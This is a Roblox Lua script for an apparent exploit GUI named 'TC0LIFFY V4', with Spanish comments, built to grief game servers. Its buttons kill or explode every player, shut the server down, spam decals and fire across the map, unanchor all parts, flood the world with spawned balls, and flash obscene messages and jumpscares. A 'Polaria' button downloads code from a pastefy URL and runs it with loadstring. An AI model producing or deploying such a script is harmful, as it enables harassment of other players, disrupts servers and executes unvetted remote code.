-- TC0LIFFY V4 V1.3 - GUI Completa y Funcional local Players = game:GetService("Players") local Lighting = game:GetService("Lighting") local SoundService = game:GetService("SoundService") local Debris = game:GetService("Debris") local player = Players.LocalPlayer if player:WaitForChild("PlayerGui"):FindFirstChild("TC0LIFFY_V4") then player.PlayerGui.TC0LIFFY_V4:Destroy() end local screenGui = Instance.new("ScreenGui") screenGui.Name = "TC0LIFFY_V4" screenGui.ResetOnSpawn = false screenGui.Parent = player:WaitForChild("PlayerGui") local frame = Instance.new("Frame") frame.Size = UDim2.new(0, 270, 0, 300) frame.Position = UDim2.new(0.5, -135, 0.5, -150) frame.BackgroundColor3 = Color3.fromRGB(10, 10, 10) frame.BorderSizePixel = 2 frame.Active = true frame.Draggable = true frame.Parent = screenGui local closeBtn = Instance.new("TextButton") closeBtn.Size = UDim2.new(0, 30, 0, 30) closeBtn.Position = UDim2.new(1, -30, 0, 0) closeBtn.Text = "X" closeBtn.TextColor3 = Color3.new(1, 0, 0) closeBtn.Font = Enum.Font.Code closeBtn.TextScaled = true closeBtn.BackgroundColor3 = Color3.fromRGB(50, 0, 0) closeBtn.Parent = frame closeBtn.MouseButton1Click:Connect(function() screenGui:Destroy() end) local title = Instance.new("TextLabel") title.Size = UDim2.new(1, -30, 0, 30) title.BackgroundTransparency = 1 title.TextColor3 = Color3.fromRGB(255, 255, 255) title.Font = Enum.Font.Code title.TextScaled = true title.Text = "TC0LIFFY V4" title.TextYAlignment = Enum.TextYAlignment.Center title.Parent = frame local scroll = Instance.new("ScrollingFrame") scroll.Size = UDim2.new(1, 0, 1, -30) scroll.Position = UDim2.new(0, 0, 0, 30) scroll.CanvasSize = UDim2.new(0, 0, 0, 1000) scroll.ScrollBarThickness = 6 scroll.BackgroundTransparency = 1 scroll.Parent = frame local layout = Instance.new("UIGridLayout") layout.CellSize = UDim2.new(0, 85, 0, 30) layout.CellPadding = UDim2.new(0, 5, 0, 5) layout.Parent = scroll local function createButton(text, callback) local btn = Instance.new("TextButton") btn.Text = text btn.BackgroundColor3 = Color3.fromRGB(30, 30, 30) btn.TextColor3 = Color3.fromRGB(255, 255, 255) btn.Font = Enum.Font.Code btn.TextScaled = true btn.Size = UDim2.new(0, 80, 0, 25) btn.Parent = scroll btn.MouseButton1Click:Connect(callback) return btn end -- IDs local skyboxId = "rbxassetid://128153317031117" -- Nuevo ID local jumpscareSoundId = "rbxassetid://139488665764275" local musicId = "rbxassetid://15689450026" local oldSkyboxFor1x1x1x1 = "rbxassetid://6147424071" -- Para el botón 1x1x1x1 -- Skybox local function applySkybox(id) for _, obj in pairs(Lighting:GetChildren()) do if obj:IsA("Sky") then obj:Destroy() end end local sky = Instance.new("Sky") sky.SkyboxBk = id sky.SkyboxDn = id sky.SkyboxFt = id sky.SkyboxLf = id sky.SkyboxRt = id sky.SkyboxUp = id sky.Parent = Lighting end createButton("Skybox", function() applySkybox(skyboxId) end) -- Music local music = Instance.new("Sound", SoundService) music.SoundId = musicId music.Volume = 1 music.Looped = true music.PlaybackSpeed = 0.7 music.Name = "TC0LIFFYMusic" music:Play() music:Pause() music.Loaded:Connect(function() music:Play() end) createButton("Music", function() music:Resume() end) createButton("Stop Music", function() music:Pause() end) -- Partículas createButton("Particles", function() local char = player.Character or player.CharacterAdded:Wait() local root = char:FindFirstChild("HumanoidRootPart") if root then local emitter = Instance.new("ParticleEmitter") emitter.Texture = skyboxId emitter.Rate = 15 emitter.Lifetime = NumberRange.new(3) emitter.Speed = NumberRange.new(2, 5) emitter.Size = NumberSequence.new(1) emitter.Rotation = NumberRange.new(0, 360) emitter.RotSpeed = NumberRange.new(30) emitter.Parent = root Debris:AddItem(emitter, 8) end end) -- Explode createButton("Explode", function() for _, p in ipairs(Players:GetPlayers()) do local hrp = p.Character and p.Character:FindFirstChild("HumanoidRootPart") if hrp then local ex = Instance.new("Explosion") ex.Position = hrp.Position ex.BlastRadius = 10 ex.Parent = workspace end end end) -- Kill all createButton("Kill all", function() for _, p in ipairs(Players:GetPlayers()) do local hum = p.Character and p.Character:FindFirstChild("Humanoid") if hum then hum.Health = 0 end end end) -- Shutdown createButton("Shutdown", function() game:Shutdown() end) -- Hint createButton("Hint", function() local hint = Instance.new("Hint") hint.Text = "GET FUCKED MAFAKA!!1!" hint.Parent = workspace Debris:AddItem(hint, 5) end) -- Message createButton("Message", function() local msg = Instance.new("Message") msg.Text = "GET FUCKED MAFAKA!!1!" msg.Parent = workspace Debris:AddItem(msg, 5) end) -- Fuego createButton("666", function() local char = player.Character or player.CharacterAdded:Wait() for _, part in pairs(char:GetDescendants()) do if part:IsA("BasePart") and not part:FindFirstChild("Fire") then local fire = Instance.new("Fire") fire.Size = 5 fire.Heat = 10 fire.Parent = part end end end) -- Decal spam createButton("Decal Spam", function() for _, part in pairs(workspace:GetDescendants()) do if part:IsA("BasePart") then local faces = {"Front", "Back", "Top", "Bottom", "Left", "Right"} for _, face in ipairs(faces) do local decal = Instance.new("Decal") decal.Face = Enum.NormalId[face] decal.Texture = skyboxId decal.Parent = part end end end end) -- Billboard personalizado createButton("Billboard", function() local char = player.Character or player.CharacterAdded:Wait() local head = char:FindFirstChild("Head") if head and not head:FindFirstChild("TC0Billboard") then local bb = Instance.new("BillboardGui") bb.Name = "TC0Billboard" bb.Adornee = head bb.Size = UDim2.new(0, 200, 0, 50) bb.StudsOffset = Vector3.new(0, 2, 0) bb.AlwaysOnTop = true bb.Parent = head local tLabel = Instance.new("TextLabel") tLabel.Size = UDim2.new(1, 0, 1, 0) tLabel.BackgroundTransparency = 1 tLabel.Font = Enum.Font.Code tLabel.TextScaled = true tLabel.Text = "TC0" tLabel.RichText = true tLabel.Parent = bb end end) -- Versiones anteriores createButton("TC0LIFFY V1", function() local msg = Instance.new("Message", workspace) msg.Text = "Welcome to TC0LIFFY V1" Debris:AddItem(msg, 5) end) createButton("TC0LIFFY V2", function() local msg = Instance.new("Message", workspace) msg.Text = "Welcome to TC0LIFFY V2" Debris:AddItem(msg, 5) end) createButton("TC0LIFFY V3", function() local msg = Instance.new("Message", workspace) msg.Text = "Welcome to TC0LIFFY V3" Debris:AddItem(msg, 5) end) -- 1x1x1x1 botón (mantiene ID viejo) createButton("1x1x1x1", function() local hint = Instance.new("Hint", workspace) hint.Text = "GET FUCKED MAFAKA!!1!" Debris:AddItem(hint, 5) local snd = Instance.new("Sound", SoundService) snd.SoundId = jumpscareSoundId snd.Volume = 2 snd.PlaybackSpeed = 1.3 snd:Play() Debris:AddItem(snd, 10) applySkybox(oldSkyboxFor1x1x1x1) for _, part in pairs(workspace:GetDescendants()) do if part:IsA("BasePart") then part.Anchored = false part.BrickColor = BrickColor.Random() local faces = {"Front", "Back", "Top", "Bottom", "Left", "Right"} for _, face in ipairs(faces) do local decal = Instance.new("Decal") decal.Texture = oldSkyboxFor1x1x1x1 decal.Face = Enum.NormalId[face] decal.Parent = part end end end end) -- Clear Skybox createButton("Clear Sky", function() for _, obj in pairs(Lighting:GetChildren()) do if obj:IsA("Sky") then obj:Destroy() end end end) -- Clear Decals createButton("Clear Decals", function() for _, part in pairs(workspace:GetDescendants()) do if part:IsA("BasePart") then for _, decal in ipairs(part:GetDescendants()) do if decal:IsA("Decal") then decal:Destroy() end end end end end) -- Clear Fire createButton("Clear Fire", function() for _, part in pairs(workspace:GetDescendants()) do if part:IsA("BasePart") then for _, fire in ipairs(part:GetChildren()) do if fire:IsA("Fire") then fire:Destroy() end end end end end) -- Jumpstyle createButton("Jumpstyle", function() local s = Instance.new("Sound", SoundService) s.SoundId = "rbxassetid://1839246711" s.Volume = 2 s.PlaybackSpeed = 1 s:Play() Debris:AddItem(s, 10) end) -- Hardstyle createButton("Hardstyle", function() local s = Instance.new("Sound", SoundService) s.SoundId = "rbxassetid://1839246774" s.Volume = 2 s.PlaybackSpeed = 1 s:Play() Debris:AddItem(s, 10) end) -- Raining Balls (infinita) createButton("Raining Balls", function() spawn(function() while true do wait(0.3) -- velocidad de la lluvia local part = Instance.new("Part") part.Shape = Enum.PartType.Ball part.Size = Vector3.new(8, 8, 8) part.Position = Vector3.new( math.random(-150, 150), math.random(120, 160), math.random(-150, 150) ) part.BrickColor = BrickColor.Random() part.Anchored = false part.CanCollide = true part.Material = Enum.Material.SmoothPlastic part.Parent = workspace end end) end) -- Chicken Mode (brazos como alas y cabeza se mueve al caminar) - R6 createButton("Chicken Mode", function() local char = player.Character or player.CharacterAdded:Wait() local humanoid = char:FindFirstChildOfClass("Humanoid") -- Comprobamos si es R6 if humanoid.RigType ~= Enum.HumanoidRigType.R6 then warn("Este efecto solo funciona con R6.") return end -- Brazos estilo gallina local function poseArms() local rightArm = char:FindFirstChild("Right Arm") local leftArm = char:FindFirstChild("Left Arm") if rightArm then rightArm.CFrame = rightArm.CFrame * CFrame.Angles(0, math.rad(90), 0) end if leftArm then leftArm.CFrame = leftArm.CFrame * CFrame.Angles(0, math.rad(-90), 0) end end -- Movimiento de cabeza al caminar (R6) local head = char:FindFirstChild("Head") if head and humanoid then spawn(function() while humanoid and humanoid.Parent and head.Parent do if humanoid.MoveDirection.Magnitude > 0.1 then -- Movimiento de la cabeza de lado a lado for i = -10, 10, 20 do head.CFrame = head.CFrame * CFrame.Angles(0, math.rad(i), 0) wait(0.1) end else -- Si no está caminando, la cabeza se queda quieta head.CFrame = head.CFrame * CFrame.Angles(0, 0, 0) end wait(0.1) end end) end poseArms() end) createButton("F3x", function() local char = player.Character or player.CharacterAdded:Wait() local backpack = player:WaitForChild("Backpack") -- Comprobar si tienes alguna herramienta típica de Btools local hasBtools = false local btoolsNames = {"Clone", "Hammer", "Grab", "Move", "Resize", "Drag", "Paint"} -- Nombres comunes de herramientas Btools for _, toolName in ipairs(btoolsNames) do if backpack:FindFirstChild(toolName) or char:FindFirstChild(toolName) then hasBtools = true break end end if not hasBtools then warn("No tienes Btools para usar esta función.") return end -- 1) Crear un cubo gigante que tape el cielo con la textura local giantCube = Instance.new("Part") giantCube.Name = "GiantCubeSkybox" giantCube.Anchored = true giantCube.CanCollide = false giantCube.Size = Vector3.new(1000, 1000, 1000) giantCube.Position = Vector3.new(0, 500, 0) giantCube.Parent = workspace local decalFaces = {"Front", "Back", "Top", "Bottom", "Left", "Right"} for _, face in ipairs(decalFaces) do local decal = Instance.new("Decal") decal.Face = Enum.NormalId[face] decal.Texture = "rbxassetid://128153317031117" -- ID que me diste decal.Parent = giantCube end -- 2) Decal spam en partes accesibles (usando Btools) for _, part in pairs(workspace:GetDescendants()) do if part:IsA("BasePart") and part.Anchored == false then -- Solo partes no ancladas que puedes mover con Btools for _, face in ipairs(decalFaces) do local decal = Instance.new("Decal") decal.Face = Enum.NormalId[face] decal.Texture = "rbxassetid://128153317031117" decal.Parent = part end end end -- 3) Reproducir música usando comandos de administración (si tienes permisos) local sound = Instance.new("Sound", SoundService) sound.SoundId = "rbxassetid://15689450026" -- Música que usabas antes sound.Volume = 1 sound.Looped = true sound:Play() -- Opcional: Detener el sonido después de 60 segundos para no saturar delay(60, function() if sound and sound.IsDescendantOf then sound:Stop() sound:Destroy() end end) end) -- Botón R6 (pone cuerpo en R6) createButton("R6", function() local humanoid = player.Character and player.Character:FindFirstChildOfClass("Humanoid") if humanoid then humanoid.HumanoidDescription = nil -- Eliminar descripción para usar cuerpo clásico R6 humanoid.RigType = Enum.HumanoidRigType.R6 -- Reiniciar el personaje para aplicar el cambio player.Character:BreakJoints() end end) -- Botón Realm 2 (teletransporta al juego TC0S REALM 2) createButton("Realm 2", function() local TeleportService = game:GetService("TeleportService") local placeId = 74886078027978 TeleportService:Teleport(placeId, player) end) -- Botón Natural TC0 (botón sin funcionalidad aún) createButton("Natural TC0", function() warn("Natural TC0 aún no está implementado") end) -- Jumpscare createButton("Jumpscare", function() local snd = Instance.new("Sound", SoundService) snd.SoundId = jumpscareSoundId snd.Volume = 2 snd.PlaybackSpeed = 1.3 snd:Play() Debris:AddItem(snd, 10) local screenGuiJumpscare = Instance.new("ScreenGui") screenGuiJumpscare.Name = "JumpscareGui" screenGuiJumpscare.Parent = player.PlayerGui local frameJumpscare = Instance.new("Frame") frameJumpscare.Size = UDim2.new(1, 0, 1, 0) frameJumpscare.BackgroundColor3 = Color3.new(0, 0, 0) frameJumpscare.BackgroundTransparency = 0 frameJumpscare.Parent = screenGuiJumpscare local image = Instance.new("ImageLabel") image.Size = UDim2.new(1, 0, 1, 0) image.BackgroundTransparency = 1 image.Image = "http://www.roblox.com/asset/?id=129392898731428" image.Parent = frameJumpscare -- Quitar el jumpscare cuando el sonido termine snd.Ended:Connect(function() screenGuiJumpscare:Destroy() end) end) -- Día createButton("Día", function() Lighting.ClockTime = 14 -- Hora del día brillante Lighting.Brightness = 2 Lighting.FogEnd = 100000 Lighting.OutdoorAmbient = Color3.fromRGB(255, 255, 255) end) -- Noche createButton("Noche", function() Lighting.ClockTime = 2 -- Hora nocturna Lighting.Brightness = 0.2 Lighting.FogEnd = 100 Lighting.OutdoorAmbient = Color3.fromRGB(20, 20, 40) end) createButton("Polaria", function() loadstring(game:HttpGet("https://pastefy.app/agqEB2qs/raw", true))() end) -- Imagen del Skybox local skyboxImage = Instance.new("ImageLabel") skyboxImage.Size = UDim2.new(0, 85, 0, 85) skyboxImage.BackgroundTransparency = 1 skyboxImage.Image = "rbxassetid://128153317031117" -- Cambia el ID si necesitas otro skyboxImage.Parent = scroll